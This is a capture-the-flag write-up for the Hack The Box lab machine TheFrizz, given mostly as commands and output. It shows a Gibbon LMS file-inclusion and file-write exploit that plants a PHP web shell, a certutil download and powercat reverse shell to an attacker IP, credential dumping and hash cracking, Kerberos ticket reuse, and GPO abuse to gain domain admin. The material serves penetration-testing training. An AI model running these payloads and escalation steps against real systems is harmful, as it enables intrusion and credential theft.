Description
TheFrizz is a medium Hack The Box machine that features:
- Local File Inclusion vulnerability in Gibbon LMS allowing reading application files
- Arbitrary File Write in Gibbon LMS allowing Remote Command Execution
- Custom Hash Password Cracking of Gibbon LMS administrator
- Password Reuse to login by creating a Kerberos ticket
- Privilege Escalation by abusing the ability of creating new Group Policy Objects
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.245.150.
$ ping -c 3 10.129.245.150
PING 10.129.245.150 (10.129.245.150) 56(84) bytes of data.
64 bytes from 10.129.245.150: icmp_seq=1 ttl=127 time=51.4 ms
64 bytes from 10.129.245.150: icmp_seq=2 ttl=127 time=50.0 ms
64 bytes from 10.129.245.150: icmp_seq=3 ttl=127 time=50.6 ms
--- 10.129.245.150 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 50.003/50.660/51.358/0.553 ms
The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.245.150 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.245.150
Host is up (0.055s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds
We get many open ports, related to a Domain Controller Active Directory.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.245.150 -Pn -sV -sC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.245.150
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h01m02s
| smb2-time:
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.52 seconds
We get the services related to an Active Directory, specifically the Domain Controller frizzdc.frizz.htb. We add the hosts to our /etc/hosts local file.
$ echo "10.129.245.150 frizzdc.frizz.htb frizz.htb" | sudo tee -a /etc/hosts
Before more enumeration, we are going to synchronize the time and date of our system with the remote system.
sudo timedatectl set-ntp off
sudo rdate -n frizz.htb
In the HTTP service we find the website of the “Walkerville Elementary School”. We can click in the Staff Login button and a login prompt will be shown to us. We get redirected to the Gibbon v25.0.00 web application in the Gibbon-LMS directory. Gibbon is a learning management system.

Exploitation
Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) where it’s possible to include the content of several files present in the installation folder, CVE-2023-34598. Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.phps does not require authentication, CVE-2023-45878. We have a proof of concept of the LFI vulnerability in Github, shared by maddsec. We can manipulathe the q parameter to retrieve the local file. We are going to retrieve the gibbon.sql file (contained in the installation package) to check for changes. The contents of the file are the same as the default but there is only one change.
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql'
...
(00008, 'System', 'indexText', 'Index Page Text', 'Text displayed in system\'s welcome page.', '*NOTICE** Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos.'),
...
We find a message that is shown when the dashboard is opened, the system administrator Fiona Frizzle is migration the application to use Azure Active Directory SSO or Kerberos. The username of Fiona might be f.frizzle. Now let’s move to the Arbitrary File Read Vulnerability with a proof of concept from usd HeroLab. The Rubrics module has a file rubrics_visualise_saveAjax.php which can be accessed without being authenticated.
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'
The file accepts the img, path and gibbonPersonID as POST parameters. The following request will write the payload <?php echo system($_GET['cmd'])?> to the file wcmd.php.
$ curl -d 'img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=wcmd.php&gibbonPersonID=0000000001' 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php'
Now we can check for the command execution:
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=whoami' frizz\w.webservice
It is working. The web application is being ran by w.webservice user. We are going to create a reverse shell using the powercat.ps1 script. We start a listening socket.
$ nc -nvlp 1234
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=powershell+certutil+-urlcache+-f+http:%2F%2F10.10.14.54%2Fpowercat.ps1+powercat.ps1'
$ curl 'http://frizzdc.frizz.htb/Gibbon-LMS/wcmd.php?cmd=powershell+".+.%5Cpowercat.ps1;+powercat+-c+10.10.14.54+-p+1234+-e+powershell"'
We get the session as the webserver user. We find users in the system, including f.frizzle.
$ nc -nvlp 1234 listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.245.150] 52002
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
...
PS C:\xampp\htdocs\Gibbon-LMS> whoami
frizz\w.webservice
PS C:\xampp\htdocs\Gibbon-LMS> net user
User accounts for \\FRIZZDC
-------------------------------------------------------------------------------
a.perlstein Administrator c.ramon
c.sandiego d.hudson f.frizzle
g.frizzle Guest h.arm
J.perlstein k.franklin krbtgt
l.awesome m.ramon M.SchoolBus
p.terese r.tennelli t.wright
v.frizzle w.li w.Webservice
The command completed successfully.
We are in the C:\xampp\htdocs\Gibbon-LMS directory, the root of the Gibbon web application. We find the credentials of the MySQL database in the config.php file.
PS C:\xampp\htdocs\Gibbon-LMS> type config.php
type config.php
<?php
...
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
...
For the gibbon database we find the MrGibbonsDB username and the MisterGibbs!Parrot!?1 password. Checking the gibbon.sql file we find that the data about the registered users are in the gibbonPerson table. We are going to dump the contents of the table using the installed mysql.exe binary located in the C:\xampp\mysql\bin\ directory.
C:\xampp\htdocs\Gibbon-LMS>c:\xampp\mysql\bin\mysql.exe -h 127.0.0.1 -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "select * from gibbonPerson" gibbon
gibbonPersonID title surname firstName preferredName officialName nameInCharacters gender username passwordStrong passwordStrongSalt passwordForceReset status canLogin gibbonRoleIDPrimary gibbonRoleIDAll dob email
...
0000000001 Ms. Frizzle Fiona Fiona Fiona Frizzle Unspecified f.frizzle 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 /aACFhikmNopqrRTVz2489 N Full Y 001 001 NULL f.frizzle@frizz.htb NULL NULL ::1 2024-10-29 09:28:59 NULL NULL 0 ...
We get the hashed password 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 and the salt /aACFhikmNopqrRTVz2489 for the f.frizzle@frizz.htb user. We need to crack the hash to check if the password is reused for the Windows account. In the Admin Password Reset thread we find that the password is generated with the following SQL query:
UPDATE gibbonPerson
SET passwordStrong=SHA2(CONCAT(@salt:=SUBSTRING(MD5(RAND()), 1, 22), “yourNewPassword”), 256), passwordStrongSalt=@salt
WHERE gibbonPerson.gibbonPersonID=1;`
So the salt (/aACFhikmNopqrRTVz2489) is concatenated with the original password and then a SHA256 hash is created. We can crack the hash using John The Ripper and the following hash format: $dynamic_61$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489. The custom format is dynamic_61, or sha256($s.$p).
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (hMailServer [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
Jenni_Luvs_Magic23 (?)
1g 0:00:00:01 DONE 0.8064g/s 8887Kp/s 8887Kc/s 8887KC/s Jesus14jrj..Jeepers93
Use the "--show --format=hMailServer" options to display all of the cracked passwords reliably
Session completed.
We find that the password for the f.frizzle user is Jenni_Luvs_Magic23. Let’s return to the web dashboard and login.
We are able to login and we find messages in the Message Wall that we can access by clicking in the conversation icon.
In the second message we find that the access to the machine is allowed using Enter-PSSession. Before we found a mention to Kerberos. So we can try to login in the machine with the evil-winrm tool and a TGT (Ticket Granting Service). We start by adding the KDC to the realm in the /etc/krb5.conf file (with the following content).
[realms]
FRIZZ.HTB = {
kdc = "frizzdc.frizz.htb"
}
Then we generate the TGT with impacket-GetTGT tool.
$ impacket-getTGT frizz.htb/f.frizzle:Jenni_Luvs_Magic23
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in f.frizzle.ccache
The Kerberos ticket is saved in the f.frizzle.ccache so after that we export the KRB5CCNAME variable with the path of the file.
$ export KRB5CCNAME=./f.frizzle.ccache
Then we can connect to the machine using evil-winrm or ssh tools.
$ evil-winrm -i frizzdc.frizz.htb -r frizz.htb
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> whoami
frizz\f.frizzle
We are logged as the f.frizzle user successfully.
Post-Exploitation
Enumerating the files in the system we find two .7z files in the recycle bin, $IE2XMEG.7z and $RE2XMEG.7z, we download them.
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> Get-ChildItem -Hidden 'C:\$RECYCLE.BIN'
Directory: C:\$RECYCLE.BIN
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> Get-ChildItem 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103'
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/29/2024 7:31 AM 148 $IE2XMEG.7z
-a---- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> xcopy 'C:\$recycle.bin\S-1-5-21-2386970044-1145388522-2932701813-1103\*' .
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> move '$IE2XMEG.7z' 'IE2XMEG.7z'
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> move '$RE2XMEG.7z' 'RE2XMEG.7z'
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> download IE2XMEG.7z
*Evil-WinRM* PS C:\Users\f.frizzle\Documents> download RE2XMEG.7z
In the $RE2XMEG.7z file we find an archive with a backup of a WAPT installation, a tool used to update operating system configurations.
$ 7z x RE2XMEG.7z
$ ls -1 wapt
auth_module_ad.py
cache
common.py
conf
conf.d
COPYING.txt
...
We find the configuration file of the application in the wapt/conf/waptserver.ini file.
$ cat wapt/conf/waptserver.ini
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
We find a Base64 encoded password in the wapt_password, which is IXN1QmNpZ0BNZWhUZWQhUgo=, so !suBcig@MehTed!R. After checking with the users, we find that this is the password of the M.SchoolBus user.
$ impacket-getTGT frizz.htb/M.SchoolBus:'!suBcig@MehTed!R'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in M.SchoolBus.ccache
We login as previously.
$ export KRB5CCNAME=./M.SchoolBus.ccache
$ evil-winrm -i frizzdc.frizz.htb -r frizz.htb
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> whoami
frizz\m.schoolbus
We are going to use SharpHound script and then BloodHound to dump the information about the domain.
$ cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 .
$ python -m http.server 80
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> iwr http://10.10.14.54/SharpHound.ps1 -o SharpHound.ps1
. .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\M.SchoolBus\Documents\
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> download BloodHound.zip
We find that v.frizzle is the Domain Administrator.
We find that m.schoolbus belongs to the Desktop Admins group.
Desktop Admins group is member of the Group Policy Creator Owners.
Hence m.schoolbus has the ability of creating new GPOs (Group Policy Objects). This can be abused to create a new GPO, link it to the main OU (Organizational Unit) and then add any user to the Administrators group. The main OU of the domain is Domain Controllers by Mapping OU Structure.
We are going to start by downloading SharpGPOAbuse binary to the machine, that will allow us to create a new policy to add the user to the Administrators group.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> iwr http://10.10.14.54/SharpGPOAbuse.exe -o SharpGPOAbuse.exe
Then we create the new GPO and then we link it to the Domain Controllers OU.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
And then we add M.SchoolBus to the Administrator group.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "Evil GPO"
We finally need to update the GPO for all users with gpoupdate tool.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> gpupdate /force
We find that now we are part of the Administrators group.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
Administrator
M.SchoolBus
The command completed successfully.
Now we can close and re-open the session to have the privileges.
Flags
With the local administrator session we can obtain the user and root flags.
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> type c:\users\f.frizzle\desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\M.SchoolBus\Documents> type c:\users\administrator\desktop\root.txt
<REDACTED>